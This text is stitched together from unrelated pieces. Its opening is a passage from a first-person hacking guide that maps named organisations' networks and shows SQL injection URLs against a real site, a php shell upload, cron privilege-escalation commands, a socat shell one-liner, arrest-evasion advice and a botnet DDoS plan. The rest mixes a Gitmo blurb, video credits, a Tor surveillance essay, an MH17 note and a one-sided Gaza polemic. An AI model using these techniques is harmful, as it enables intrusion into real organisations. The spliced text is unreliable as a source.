3) (Optional) While just having everything go over Tor thanks to Whonix is
probably sufficient, it’s better to not use an internet connection connected
to your name or address. A cantenna, aircrack, and reaver can come in handy
here.
As long as you follow common sense like never do anything hacking related
outside of Whonix, never do any of your normal computer usage inside Whonix,
never mention any information about your real life when talking with other
hackers, and never brag about your illegal hacking exploits to friends in real
life, then you can pretty much do whatever you want with no fear of being v&.
NOTE: I do NOT recommend actually hacking directly over Tor. While Tor is usable
for some things like web browsing, when it comes to using hacking tools like
nmap, sqlmap, and nikto that are making thousands of requests, they will run
very slowly over Tor. Not to mention that you’ll want a public IP address to
receive connect back shells. I recommend using servers you’ve hacked or a VPS
paid with bitcoin to hack from. That way only the low bandwidth text interface
between you and the server is over Tor. All the commands you’re running will
have a nice fast connection to your target.
–[ 3 ]– Mapping out the target
Basically I just repeatedly use fierce [0], whois lookups on IP addresses and
domain names, and reverse whois lookups to find all IP address space and domain
names associated with an organization.
[0] http://ha.ckers.org/fierce/
For an example let’s take Blackwater. We start out knowing their homepage is at
academi.com. Running fierce.pl -dns academi.com we find the subdomains:
67.238.84.228 email.academi.com
67.238.84.242 extranet.academi.com
67.238.84.240 mail.academi.com
67.238.84.230 secure.academi.com
67.238.84.227 vault.academi.com
54.243.51.249 www.academi.com
Now we do whois lookups and find the homepage of www.academi.com is hosted on
Amazon Web Service, while the other IPs are in the range:
NetRange: 67.238.84.224 – 67.238.84.255
CIDR: 67.238.84.224/27
CustName: Blackwater USA
Address: 850 Puddin Ridge Rd
Doing a whois lookup on academi.com reveals it’s also registered to the same
address, so we’ll use that as a string to search with for the reverse whois
lookups. As far as I know all the actual reverse whois lookup services cost
money, so I just cheat with google:
“850 Puddin Ridge Rd” inurl:ip-address-lookup
“850 Puddin Ridge Rd” inurl:domaintools
Now run fierce.pl -range on the IP ranges you find to lookup dns names, and
fierce.pl -dns on the domain names to find subdomains and IP addresses. Do more
whois lookups and repeat the process until you’ve found everything.
Also just google the organization and browse around its websites. For example on
academi.com we find links to a careers portal, an online store, and an employee
resources page, so now we have some more:
54.236.143.203 careers.academi.com
67.132.195.12 academiproshop.com
67.238.84.236 te.academi.com
67.238.84.238 property.academi.com
67.238.84.241 teams.academi.com
If you repeat the whois lookups and such you’ll find academiproshop.com seems to
not be hosted or maintained by Blackwater, so scratch that off the list of
interesting IPs/domains.
In the case of FinFisher what led me to the vulnerable finsupport.finfisher.com
was simply a whois lookup of finfisher.com which found it registered to the name
“FinFisher GmbH”. Googling for:
“FinFisher GmbH” inurl:domaintools
finds gamma-international.de, which redirects to finsupport.finfisher.com
…so now you’ve got some idea how I map out a target.
This is actually one of the most important parts, as the larger the attack
surface that you are able to map out, the easier it will be to find a hole
somewhere in it.
–[ 4 ]– Scanning & Exploiting
Scan all the IP ranges you found with nmap to find all services running. Aside
from a standard port scan, scanning for SNMP is underrated.
Now for each service you find running:
1) Is it exposing something it shouldn’t? Sometimes companies will have services
running that require no authentication and just assume it’s safe because the url
or IP to access it isn’t public. Maybe fierce found a git subdomain and you can
go to git.companyname.come/gitweb/ and browse their source code.
2) Is it horribly misconfigured? Maybe they have an ftp server that allows
anonymous read or write access to an important directory. Maybe they have a
database server with a blank admin password (lol stratfor). Maybe their embedded
devices (VOIP boxes, IP Cameras, routers etc) are using the manufacturer’s
default password.
3) Is it running an old version of software vulnerable to a public exploit?
Webservers deserve their own category. For any webservers, including ones nmap
will often find running on nonstandard ports, I usually:
1) Browse them. Especially on subdomains that fierce finds which aren’t intended
for public viewing like test.company.com or dev.company.com you’ll often find
interesting stuff just by looking at them.
2) Run nikto [0]. This will check for things like webserver/.svn/,
webserver/backup/, webserver/phpinfo.php, and a few thousand other common
mistakes and misconfigurations.
3) Identify what software is being used on the website. WhatWeb is useful [1]
4) Depending on what software the website is running, use more specific tools
like wpscan [2], CMS-Explorer [3], and Joomscan [4].
First try that against all services to see if any have a misconfiguration,
publicly known vulnerability, or other easy way in. If not, it’s time to move
on to finding a new vulnerability:
5) Custom coded web apps are more fertile ground for bugs than large widely used
projects, so try those first. I use ZAP [5], and some combination of its
automated tests along with manually poking around with the help of its
intercepting proxy.
6) For the non-custom software they’re running, get a copy to look at. If it’s
free software you can just download it. If it’s proprietary you can usually
pirate it. If it’s proprietary and obscure enough that you can’t pirate it you
can buy it (lame) or find other sites running the same software using google,
find one that’s easier to hack, and get a copy from them.
* Visit the website. See nothing but a login page. Quickly check for sqli in the
login form.
* See if WhatWeb knows anything about what software the site is running.
* WhatWeb doesn’t recognize it, so the next question I want answered is if this
is a custom website by Gamma, or if there are other websites using the same
software.
* I view the page source to find a URL I can search on (index.php isn’t
exactly unique to this software). I pick Scripts/scripts.js.php, and google:
allinurl:”Scripts/scripts.js.php”
* I find there’s a handful of other sites using the same software, all coded by
the same small webdesign firm. It looks like each site is custom coded but
they share a lot of code. So I hack a couple of them to get a collection of
code written by the webdesign firm.
At this point I can see the news stories that journalists will write to drum
up views: “In a sophisticated, multi-step attack, hackers first compromised a
web design firm in order to acquire confidential data that would aid them in
attacking Gamma Group…”
But it’s really quite easy, done almost on autopilot once you get the hang of
it. It took all of a couple minutes to:
* google allinurl:”Scripts/scripts.js.php” and find the other sites
* Notice they’re all sql injectable in the first url parameter I try.
* Realize they’re running Apache ModSecurity so I need to use sqlmap [0] with
the option –tamper=’tamper/modsecurityversioned.py’
* Acquire the admin login information, login and upload a php shell [1] (the
check for allowable file extensions was done client side in javascript), and
download the website’s source code.
Looking through the source code they might as well have named it Damn Vulnerable
Web App v2 [0]. It’s got sqli, LFI, file upload checks done client side in
javascript, and if you’re unauthenticated the admin page just sends you back to
the login page with a Location header, but you can have your intercepting proxy
filter the Location header out and access it just fine.
[0] http://www.dvwa.co.uk/
Heading back over to the finsupport site, the admin /BackOffice/ page returns
403 Forbidden, and I’m having some issues with the LFI, so I switch to using the
sqli (it’s nice to have a dozen options to choose from). The other sites by the
web designer all had an injectable print.php, so some quick requests to:
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1
reveal that finsupport also has print.php and it is injectable. And it’s
database admin! For MySQL this means you can read and write files. It turns out
the site has magicquotes enabled, so I can’t use INTO OUTFILE to write files.
But I can use a short script that uses sqlmap –file-read to get the php source
for a URL, and a normal web request to get the HTML, and then finds files
included or required in the php source, and finds php files linked in the HTML,
to recursively download the source to the whole site.
Looking through the source, I see customers can attach a file to their support
tickets, and there’s no check on the file extension. So I pick a username and
password out of the customer database, create a support request with a php shell
attached, and I’m in!
finsupport was running the latest version of Debian with no local root exploits,
but unix-privesc-check returned:
WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user
www-data can write to /etc/cron.hourly/mgmtlicensestatus
WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data
can write to /etc/cron.hourly/webalizer
so I add to /etc/cron.hourly/webalizer:
chown root:root /path/to/my_setuid_shell
chmod 04755 /path/to/my_setuid_shell
wait an hour, and ….nothing. Turns out that while the cron process is running
it doesn’t seem to be actually running cron jobs. Looking in the webalizer
directory shows it didn’t update stats the previous month. Apparently after
updating the timezone cron will sometimes run at the wrong time or sometimes not
run at all and you need to restart cron after changing the timezone. ls -l
/etc/localtime shows the timezone got updated June 6, the same time webalizer
stopped recording stats, so that’s probably the issue. At any rate, the only
thing this server does is host the website, so I already have access to
everything interesting on it. Root wouldn’t get much of anything new, so I move
on to the rest of the network.
–[ 6 ]– Pivoting
The next step is to look around the local network of the box you hacked. This
is pretty much the same as the first Scanning & Exploiting step, except that
from behind the firewall many more interesting services will be exposed. A
tarball containing a statically linked copy of nmap and all its scripts that you
can upload and run on any box is very useful for this. The various nfs-* and
especially smb-* scripts nmap has will be extremely useful.
The only interesting thing I could get on finsupport’s local network was another
webserver serving up a folder called ‘qateam’ containing their mobile malware.
–[ 7 ]– Have Fun
Once you’re in their networks, the real fun starts. Just use your imagination.
While I titled this a guide for wannabe whistleblowers, there’s no reason to
limit yourself to leaking documents. My original plan was to:
1) Hack Gamma and obtain a copy of the FinSpy server software
2) Find vulnerabilities in FinSpy server.
3) Scan the internet for, and hack, all FinSpy C&C servers.
4) Identify the groups running them.
5) Use the C&C server to upload and run a program on all targets telling them
who was spying on them.
6) Use the C&C server to uninstall FinFisher on all targets.
7) Join the former C&C servers into a botnet to DDoS Gamma Group.
It was only after failing to fully hack Gamma and ending up with some
interesting documents but no copy of the FinSpy server software that I had to
make due with the far less lulzy backup plan of leaking their stuff while
mocking them on twitter.
Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and crack the password
already so I can move on to step 2!
–[ 8 ]– Other Methods
The general method I outlined above of scan, find vulnerabilities, and exploit
is just one way to hack, probably better suited to those with a background in
programming. There’s no one right way, and any method that works is as good as
any other. The other main ways that I’ll state without going into detail are:
1) Exploits in web browers, java, flash, or microsoft office, combined with
emailing employees with a convincing message to get them to open the link or
attachment, or hacking a web site frequented by the employees and adding the
browser/java/flash exploit to that.
This is the method used by most of the government hacking groups, but you don’t
need to be a government with millions to spend on 0day research or subscriptions
to FinSploit or VUPEN to pull it off. You can get a quality russian exploit kit
for a couple thousand, and rent access to one for much less. There’s also
metasploit browser autopwn, but you’ll probably have better luck with no
exploits and a fake flash updater prompt.
2) Taking advantage of the fact that people are nice, trusting, and helpful 95%
of the time.
The infosec industry invented a term to make this sound like some sort of
science: “Social Engineering”. This is probably the way to go if you don’t know
too much about computers, and it really is all it takes to be a successful
hacker [0].
[0] https://www.youtube.com/watch?v=DB6ywr9fngU
–[ 9 ]– Resources
Links:
* https://www.pentesterlab.com/exercises/
* http://overthewire.org/wargames/
* http://www.hackthissite.org/
* http://smashthestack.org/
* http://www.win.tue.nl/~aeb/linux/hh/hh.html
* http://www.phrack.com/
* http://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot
* http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash
* https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/
* https://www.netspi.com/blog/entryid/140/resources-for-aspiring-penetration-testers
(all his other blog posts are great too)
* https://www.corelan.be/ (start at Exploit writing tutorial part 1)
* http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
One trick it leaves out is that on most systems the apache access log is
readable only by root, but you can still include from /proc/self/fd/10 or
whatever fd apache opened it as. It would also be more useful if it mentioned
what versions of php the various tricks were fixed in.
* http://www.dest-unreach.org/socat/
Get usable reverse shells with a statically linked copy of socat to drop on
your target and:
target$ socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp-listen:PORTNUM
host$ socat file:`tty`,raw,echo=0 tcp-connect:localhost:PORTNUM
It’s also useful for setting up weird pivots and all kinds of other stuff.
Books:
* The Web Application Hacker’s Handbook
* Hacking: The Art of Exploitation
* The Database Hacker’s Handbook
* The Art of Software Security Assessment
* A Bug Hunter’s Diary
* Underground: Tales of Hacking, Madness, and Obsession on the Electronic Frontier
* TCP/IP Illustrated
Aside from the hacking specific stuff almost anything useful to a system
administrator for setting up and administering networks will also be useful for
exploring them. This includes familiarity with the windows command prompt and unix
shell, basic scripting skills, knowledge of ldap, kerberos, active directory,
networking, etc.
–[ 10 ]– Outro
You’ll notice some of this sounds exactly like what Gamma is doing. Hacking is a
tool. It’s not selling hacking tools that makes Gamma evil. It’s who their
customers are targeting and with what purpose that makes them evil. That’s not
to say that tools are inherently neutral. Hacking is an offensive tool. In the
same way that guerrilla warfare makes it harder to occupy a country, whenever
it’s cheaper to attack than to defend it’s harder to maintain illegitimate
authority and inequality. So I wrote this to try to make hacking easier and more
accessible. And I wanted to show that the Gamma Group hack really was nothing
fancy, just standard sqli, and that you do have the ability to go out and take
similar action.
Solidarity to everyone in Gaza, Israeli conscientious-objectors, Chelsea
Manning, Jeremy Hammond, Peter Sunde, anakata, and all other imprisoned
hackers, dissidents, and criminals!
The history of prison camps dates way back to the dawn of time, with victorious battles leading to enslavement and eventual death for the defeated. In the middle ages, these practices moved to trades and ransoms. From those ancient times until now, civilizations have battled on how to properly treat prisoners of war, and Gitmo is no different. www.infographicworld.com has created an infographic exploring the history of prisoners of war, along with the present conditions – and the future – of Gitmo.
Gitmo has a sordid history, which was brought prominently into light after the September 11th attacks. Gitmo is a financial hog, costing $454 million in 2013 alone. Since 2002, the naval station has amassed over $5 billion in total costs to the U.S. Since 2002, 779 prisoners have been held at Gitmo, costing $3 million per prisoner per year.
From political lines, to the overall public perception of the prison, this infographic from www.infographicworld.com covers everything you need to know about Gitmo.
Israel is under an obligation to terminate its breaches of international law; it is under an obligation to cease forthwith the works of construction of the wall being built in the Occupied Palestinian Territory, including in and around East Jerusalem, to dismantle forthwith the structure therein situated, and to repeal or render ineffective forthwith all legislative and regulatory acts relating thereto, in accordance with paragraph 151 of this Opinion; -International Court of Justice in the Hague Press Release 2004/28
Speaking engagement :The Intifada within the American, Israeli, Islamic Triangle was a debate that took place on the 8th of November 1989 at the University of Pennsylvania .
Sponsored by The International Student Council
Co-Sponsored by: Senior VP for Research and Dean of the Graduate School, Vice Provost and Dean of Undergraduate Education, School of Communications, Middle East Studies Comittee, University Office of International Prgorams, Department of Political Science, Department of History.
We partnered with “Weird Al” to create this music video for his new album, “Mandatory Fun.” Also featuring Patton Oswalt, Tom Lennon, and Robert Ben Garant.
“Weird Al” Yankovic’s new album Mandatory Fun out now: http://smarturl.it/MandatoryFun
See more http://www.collegehumor.com
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Cast
Cooking Show Host “Weird Al” Yankovic
Stage Manager Patton Oswalt
CIA Agent Thomas Lennon
CIA Agent Ben Garant
Cameraman 1 Will McLaughlin
Cameraman 2 Mike Still
Backup Singer Kathryn Burns
Backup Singer Elaine Carroll
Backup Singer Andree Vermuelen
Waiter Jose Perales
Stand In (Patton Oswalt) John Medrano
Boom Op Nick Mundy
Clapper David Futernick
Restaurant Patron David Chernavsky
Restaurant Patron Nicole Cleaveland
Restaurant Patron Ify Nwadiwe
Restaurant Patron Greg Stees
Restaurant Patron Kenny Sharman
Restaurant Patron Ray Timmons
Restaurant Patron Yanick Thomassaint
Crew
Position Name
Director Al Yankovic
Writer Al Yankovic
Producer Jon Wolf
Cinematography Clyde Smith
Editor Al Yankovic
Big Breakfast President of Original Content Sam Reich
Big Breakfast VP of Production/ Executive Producer Spencer Griffin
Director of Production Sam Sparks
Director of Post Production Michael Schaubach
Production Manager Sam Kirkpatrick
Casting Director Chrissy Fiorilli-Ellington
Production Designer Dan Butts
Costume Designer Leah Piehl
Lead Hair and Makeup Sean James
HMU Asst Diana Barton
HMU Asst Kaho Chan
HMU Asst Cassie Lyons-Marquez
Script Supervisor Carly Romberg
Production Coordinator Michele Santoro
1st Assistant Director Matt McKinnon
2nd Assistant Director Harrison Woliner
Art Department Coordinator Pamela Barba
Set Decorator Laura Harper
On Set Jon Boyday
Leadman Christopher Yager
Construction Matthew Berry
Art PA Jonathan Carnevale
Playback Operator JP Robelot for BoTown Sound
Visual Effects Gloo Studios
Motion Graphics Artist Bill Bergen
Assistant Motion Graphics Artist Pedro Mendoza
1st Assistant Camera Ian Jay
2nd Assistant Camera / DiT Brittany Barber
Gaffer Zack Savitz
Key Grip Chris Rauch
Best Boy Electric Tim Davis
Best Boy Grip Matt Rodgers
Electric Blake Engel
Grip Chris Rojas
Wardrobe PA Sara Kannberg
Seamstress Rosie Alvarez
Choreographer Kathryn Burns
Post Production Supervisor Evan Watkins
Post Production Coordinator Andrew Mallonee
Head Assistant Editor Phil Fox
Post Production Sound Mix Michael McAlister
Production Legal Karen Segall
Production Accountant Christine Rodriguez
1st Assistant Production Accountant Shay Parsons
2nd Assistant Production Accountant Rebecca Call
Set Photographer Robyn Von Swank
Set PA Devin Hassan
Intern Scott Gallopo
Intern Sara Reihani
Max Maverick breaks down everything we know, don’t know, and should be asking about this mainstream media ‘circus’ that has become of the Snowden NSA Leak Disclosure.
Bruce SchneierThe NSA: Capabilities and Countermeasures
Speaker: Bruce Schneier
Edward Snowden has given us an unprecedented window into the NSA’s surveillance activities. Drawing from both the Snowden documents and revelations from previous whistleblowers, I will describe the sorts of surveillance the NSA does and how it does it. The emphasis is on the technical capabilities of the NSA, not the politics of their actions. This includes how it conducts Internet surveillance on the backbone, but is primarily focused on their offensive capabilities: packet injection attacks from the Internet backbone, exploits against endpoint computers and implants to exfiltrate information, fingerprinting computers through cookies and other means, and so on.
I will then talk about what sorts of countermeasures are likely to frustrate the NSA. Basically, these are techniques to raise the cost of wholesale surveillance in favor of targeted surveillance: encryption, target hardening, dispersal, and so on.
In the ongoing drizzle of Snowden revelations the public has witnessed a litany of calls for the widespread adoption of online anonymity tools. One such technology is Tor, which employs a network of Internet relays to hinder the process of attribution. Though advocates at the Electronic Frontier Foundation openly claim that “Tor still works[1]” skepticism is warranted. In fact anyone risking incarceration (or worse) in the face of a highly leveraged intelligence outfit like the NSA would be ill- advised to put all of their eggs in the Tor basket. This is an unpleasant reality which certain privacy advocates have been soft-pedaling.
The NSA Wants You To Use Tor
Tor proponents often make a big deal of the fact that the NSA admits in its own internal documents that “Tor Stinks,” as it makes surveillance more work-intensive[2]. What these proponents fail to acknowledge is that the spies at the NSA also worry that Internet users will abandon Tor:
“[A] Critical mass of targets use Tor. Scaring them away from Tor might be counterproductive”
Go back and re-read that last sentence. Tor is a signal to spies, a big waving flag that gets their attention and literally draws them to your network traffic[3]. Certain aspects of Tor might “stink” but ultimately the NSA wants people to keep using Tor. This highlights the fact that security services, like the FBI[4], have developed sophisticated tools to remove the veil of anonymity that Tor aims to provide.
For example, the Washington Post reports[5]:
“One document provided by Snowden included an internal exchange among NSA hackers in which one of them said the agency’s Remote Operations Center was capable of targeting anyone who visited an al-Qaeda Web site using Tor.”
It’s well known that Tor is susceptible to what’s called a traffic confirmation attack (AKAend-to-endcorrelation), where an entity monitoring the network traffic on both sides of a Tor session can wield statistical tools to identify a specific communication path. Keep in mind that roughly 90 percent of the world’s internet communication flows through the United States[6], so it’s easy for U.S. intelligence to deploying this approach by watching data flows around entry and exit points[7].
Another method involves “staining” data with watermarks. For example, the NSA has been known to mark network traffic by purchasing ad space from online companies like Google. The ads cause web browsers to create a cookie artifact on the user’s computer which identifies the machine viewing the ad[8]. IP addresses may change but the cookie and its identifiers do not.
De-cloaking Tor users doesn’t necessarily require a federal budget either. According to a couple of researchers slated to speak at Black Hat in a few weeks[9]:
“In our analysis, we’ve discovered that a persistent adversary with a handful of powerful servers and a couple gigabit links can de-anonymize hundreds of thousands Tor clients and thousands of hidden services within a couple of months. The total investment cost? Just under $3,000.”
Client Network Exploitation (CNE) Trumps Crypto
Back in 2009 security researcher Joanna Rutkowska implemented what she dubbed the “Evil Maid” attack to foil TrueCrypt’s disk encryption scheme[10]. By compromising the Windows boot environment her team was able to capture the hard disk’s encryption passphrase and circumvent TrueCrypt’s protection. While users can [usually] defend against this sort of monkey business, by relying on a trusted boot process, the success of the Evil Maid attack underscores the capacity for subversion to trump encryption.
This type of client-side exploitation can be generalized for remote network-based operations. In a nutshell, it doesn’t matter how strong your network encryption is if a spy can somehow hack your computer and steal your encryption passphrase (to decrypt your traffic) or perhaps just pilfer the data that they want outright.
Enter the NSAs QUANTUM and FOXACID tag team. QUANTUM servers have the ability to mimic web sites and subsequently re-direct user requests to a second set of FOXACID servers which infects the user’s computer with malware[11]. Thanks to Ed Snowden it’s now public knowledge that the NSA’s goal is to industrialize this process of subversion (a system codenamed TURBINE[12]) so it can be executed on an industrial scale. Why go to the effort of decrypting Tor network traffic when spies can infect, infiltrate, and monitor millions of machine at a time?
Is it any wonder that the Kremlin has turned to old-school typewriters[13] and that German officials have actually considered a similar move[14]? In the absence of a faraday cage even tightly configured air- gapped systems can be breached using clever radio and cellular-based rootkits[15]. As one user shrewdly commented in an online post[16]:
“Ultimately, I believe in security. But what I believe about security leaves me far from the cutting edge; my security environment is more like bearskins and stone knives, because bearskins and stone knives are simple enough that I can *know* they won’t do something I don’t want them to do. Smartphones and computers simply cannot provide that guarantee. The parts of their security models that I do understand, *won’t* prevent any of the things I don’t want them to do.”
Software is hard to trust, there are literally thousands upon thousands of little nooks where a flaw can be “accidentally” inserted to provide a back door. Hardware is even worse.
Denouement
About a year ago John Young, the operator of the leaks site Cryptome, voiced serious concerns in a mailing list thread about the perception of security being conveyed by tools like Tor[17]:
“Security is deception. Comsec a trap. Natsec the mother of secfuckers”
Jacob Appelbaum, who by the way is intimately involved with the Tor project, responded:
“Whatever you’re smoking, I wish you’d share it with the group”
Appelbaum’s cavalier dismissal fails to appreciate the aforementioned countermeasures. What better way to harvest secrets from targets en mass than to undermine a ubiquitous technology that everyone thinks will keep them safe? Who’s holding the shit-bag now? For activists engaged in work that could get them executed, relying on crypto as a universal remedy is akin to buying snake oil. John Young’s stance may seem excessive to Tor promoters like Appelbaum but if Snowden’s revelations have taught us anything it’s that the cynical view has been spot on.
Bill Blunden is an independent investigator whose current areas of inquiry include information security, anti-forensics, and institutional analysis. He is the author of several books, including The Rootkit Arsenal and Behold a Pale Farce: Cyberwar, Threat Inflation, and the Malware-IndustrialComplex. Bill is the lead investigator at Below Gotham Labs.
End Notes
1 Cooper Quintin, “7 Things You Should Know About Tor,” Electronic Frontier Foundation, July 1, 2014, https://www.eff.org/deeplinks/2014/07/7-things-you-should-know-about-tor
2 ‘Tor Stinks’ presentation, Guardian, October 4, 2013,http://www.theguardian.com/world/interactive/2013/oct/04/tor-stinks-nsa-presentation-document
3 J. Appelbaum, A. Gibson, J. Goetz, V. Kabisch, L. Kampf, L. Ryge, “NSA targets theprivacy-conscious,” http://daserste.ndr.de/panorama/aktuell/nsa230_page-1.html
4 Kevin Poulsen, “FBI Admits It Controlled Tor Servers Behind Mass Malware Attack,”
Wired, September 13, 2013, http://www.wired.com/threatlevel/2013/09/freedom-hosting-fbi/
5 Barton Gellman, Craig Timberg, and Steven Rich, “Secret NSA documents show campaign against Tor encrypted network,” Washington Post, October 4, 2013
6 James Ball, “NSA stores metadata of millions of web users for up to a year, secret files show,” Guardian, September 30, 2013, http://www.theguardian.com/world/2013/sep/30/nsa-americans-metadata-year-documents/print
7 Maxim Kammerer, [tor-talk] End-to-end correlation for fun and profit, August 20, 2007,https://lists.torproject.org/pipermail/tor-talk/2012-August/025254.html
8 Seth Rosenblatt, “NSA tracks Google ads to find Tor users,” CNET, October 4, 2013, http://news.cnet.com/8301-1009_3-57606178-83/nsa-tracks-google-adsto-find-tor-users/
9 Alexander Volynkin & Michael McCord, “You Don’t Have to be the NSA to Break Tor: Deanonymizing Users on a
Budget,” Black Hat USA 2014, https://www.blackhat.com/us-14/briefings.html#you-dont-have-to-be-the-nsa-to-break-tor-deanonymizing-users-on-a-budget
10 Joanna Rutkowska, “Evil Maid goes after TrueCrypt!” Invisible Things Lab’s Blog, October 16, 2009, http://theinvisiblethings.blogspot.com/2009/10/evil-maid-goes-after-truecrypt.html
11 Bruce Schneier, “Attacking Tor: how the NSA targets users’ online anonymity,” Guardian, October 4, 2013, http://www.theguardian.com/world/2013/oct/04/tor-attacks-nsa-users-online-anonymity/print
12 Ryan Gallagher and Glenn Greenwald, “How the NSA Plans to Infect ‘Millions’ of Computers with Malware,”
Intercept, March 12, 2014, https://firstlook.org/theintercept/article/2014/03/12/nsa-plans-infect-millions-computers-malware/
13 Chris Irvine, “Kremlin returns to typewriters to avoid computer leaks,” Telegraph, July 11, 2014,http://www.telegraph.co.uk/news/worldnews/europe/russia/10173645/Kremlin-returns-to-typewriters-to-avoid-computer-leaks.html
14 Cyrus Farivar, “In the name of security, German NSA committee may turn to typewriters,” Ars Technica, July 14, 2014, http://arstechnica.com/tech-policy/2014/07/in-the-name-of-security-german-nsa-committee-may-turn-to-typewriters/
15 Jacob Appelbaum, “Shopping for Spy Gear: Catalog Advertises NSA Toolbox,” Der Spiegel, December 29, 2013, http://www.spiegel.de/international/world/catalog-reveals-nsa-has-back-doors-for-numerous-devices-a-940994.html
16 “Iron Box Security,” Cryptome, June 6, 2014, http://cryptome.org/2014/06/iron-box-security.htm
17 “Natsec the Mother of Secfuckers,” Cryptome, June 9, 2013, http://cryptome.org/2013/06/nat-secfuckers.htm
Glenn Thomas, AIDS and Ebola expert and spokesperson for the World Health Organization. Ebola expert Glenn Thomas was among the 298 people who were killed when Malaysia Airlines flight MH17 was shot down and crashed in Ukraine. It is understood he was one of more than 100 researchers who were aboard the flight on their way to an international Aids conference in Australia. Among the other delegates aboard the plane was Joep Lange, a leading AIDS researcher and former president of the International AIDS Society (IAS).
Gaza (along with the West Bank and East Jerusalem) is occupied Palestinian territory under international law, determined by the vast majority of the world, as well as the highest court in the world, the UN’s International Court of Justice. Gaza cannot commit aggression against Israel, since Israel is in constant and continual commission of illegal aggression against Palestine by occupying it (illegally and sadistically blockading it and frequently committing terrorism against its civilians, including by targeting them with chemical weapons provided by US taxpayers – see “Rain of Fire” by Human Rights Watch). As documented by Amnesty Int’l, Human Rights Watch, and many others, Israel intentionally targets and murders civilians, including children, en masse.
But, even ignoring international law and that Gaza is under illegal Israeli occupation, Gaza did not initiate this current round of violence; Israel did:
Western/US/Israeli propaganda says the violence started with the kidnapping and killing of three Israeli youths on June 12th. That is a lie:
On May 20th, the Israeli government murdered 2 unarmed Palestinian teens, one on video, and wounded a third.
The firing of pathetic scrap metal rockets from impoverished Gaza, which have killed no one, were in fact launched in response to earlier Israeli bombings, killings, assassinations, and arrests of Palestinians, including children.
Since the year 2000, Israel has killed 1,500 Palestinian children, while Palestinians have killed 132 Israeli children. That means Israel has killed over 1,000% percent more Palestinian children than vice versa.
According to a landmark, comprehensive study of all of Israel’s wars, by Zeev Maoz, Professor of Political Science at the University of California, Davis, former head of the Graduate School of Government and Policy and of the Jaffee Center for Strategic Studies at Tel Aviv University, and former academic director of the M.A. Program at the Israeli Defense Forces’ National Defense College:
“. most of the wars in which Israel was involved were the result of deliberate Israeli aggressive design . None of these wars – with the possible exception of the 1948 War of independence – was what Israel refers to as Milhemet Ein Berah (war of necessity). They were all wars of choice . ” – Defending the Holy Land, pg. 35, (bold added)
“I review a number of peace-related opportunities ranging from the Zionist-Hashemite collusion in 1947 through the collapse of the Oslo Process in 2000. In all those cases I find that Israeli decision makers – who had been willing to embark upon bold and daring military adventures – were extremely reluctant to make even the smallest concessions for peace . I also find in many cases Israel was engaged in systematic violations of agreements and tacit understandings between itself and its neighbors.” – Defending the Holy Land, pg. 40
Israel has violated more UN resolutions than any other country. That includes Iraq under Hussein.
Hamas is the government elected by Gaza in elections that Jimmy Carter (and many others) observed and said were completely fair and free. Israel constantly says Hamas uses human shields. But in Israel’s biggest massacre of Gaza, the one in 2009, all the human rights organizations, including Amnesty, HRW, and the jurist Richard Goldstone, found that Hamas DID NOT use human shields. On the contrary, Israel used human shields, which is a regular practice for Israel. Israel uses civilians as human shields.
Israel forced Palestinian civilians to dig and lay naked in trenches around Israeli tanks. See here at 6:45.
XIV. THE USE OF PALESTINIAN CIVILIANS AS HUMAN SHIELDS
“The Mission received allegations that in two areas in north Gaza Israeli troops used Palestinian men as human shields… The Mission found the foregoing witnesses to be credible and reliable. It has no reason to doubt the veracity of their accounts and found that the different stories serve to support the allegation that Palestinians were used as human shields.”
Noam Chomsky: “Hamas is regularly described as ‘Iranian-backed Hamas, which is dedicated to the destruction of Israel.’ One will be hard put to find something like ‘democratically elected Hamas, which has long been calling for a two-state settlement in accord with the international consensus’—blocked for over 30 years by the US and Israel. All true, but not a useful contribution to the Party Line, hence dispensable.”
In the history of all rocket and mortar fire into Israel, 26 people, total, have been killed. And remember, Palestine breaks ceasefires far less often than Israel, as documented above.
This number of 26 is in contrast to the minimum number of 1,400 people who were murdered by Israel in a single one of its terrorist atrocities, the 2009 Gaza Massacre.
Noting that in the current massacre, zero Israelis and over 100 Palestinians have thus far been killed, and noting that Gaza is a concentration camp – Israel allows no one to enter or leave – Dan Sanchez gives a perfect description of the disparity in arms between the US/Israeli war machine and Palestinian scrap metal projectiles: “They [the Gazans] are like fish in a barrel, being blasted by a shotgun from above. It’s like some of the fish in the barrel pathetically spitting water at the gunman, and [US media calls] that a “shooting battle.”
The rhetoric and tactics of Hamas and other groups resisting Israeli occupation and colonization can be brutal (though far less so than Israel). Propagandists try to attribute this to anti-Semitism, to distract from the fact that these groups are resisting having their country stolen and their people dispossessed and annihilated. Native American resistance to European colonizers was sometimes extremely brutal, as was their rhetoric, but everyone universally recognizes that this was not because of “anti-White-ism”, or “anti-European-ism”, but because they were having their land stolen and their people massacred, the same thing that Israel is doing to the Palestinians.
Palestinians have the right under international law to resist occupation, ethnic cleansing, colonization, aggression, and annexation. Miko Peled, son of an Israeli general, recently stated that if Israel doesn’t Like rockets, they should decolonize Palestine. Dr. Norman Finkelstein notes that “The Palestinians have the right to use arms to resist an occupation . However, the fact that morally and legally they have that right doesn’t mean that it’s the most prudent strategy. In my opinion, a national Palestinian leadership committed to mobilizing nonviolent resistance can defeat the Israeli occupation if those of us living abroad lend support to it.”
In 1948, the people who wanted to form a Jewish state carried out a massive terror and ethnic cleansing campaign against the occupants of Palestine, expelling about half of them (750,000) from their land and into concentrated areas (Gaza and West Bank). Israel has slowly continued colonizing even those areas, which were specifically reserved by the UN for Palestinians. Israel takes all the best land and resources, such as water. Here is a visualization of what has happened, and is currently happening with massive support from Obama:
Israeli settlement building in Palestine is a war crime under international law. Under Obama, Israeli settlement building is up over 130%.
For about 40 years, there has been an international consensus that Israel must stop colonizing territory outside its 1967 borders. The consensus has been blocked by the United States, in isolation from the international community (much like the USA’s isolated, strong support for South African Apartheid). Every year there is a UN vote on the issue, and every year it goes about 165 to 2, the world against the US and Israel. This continues under Obama. All human rights groups support the consensus, as does Hamas, the Arab League, Iran, the Organization of the Islamic Conference… Virtually everyone, except the US and Israel. (More details on this page.)
Hypocricy Defined
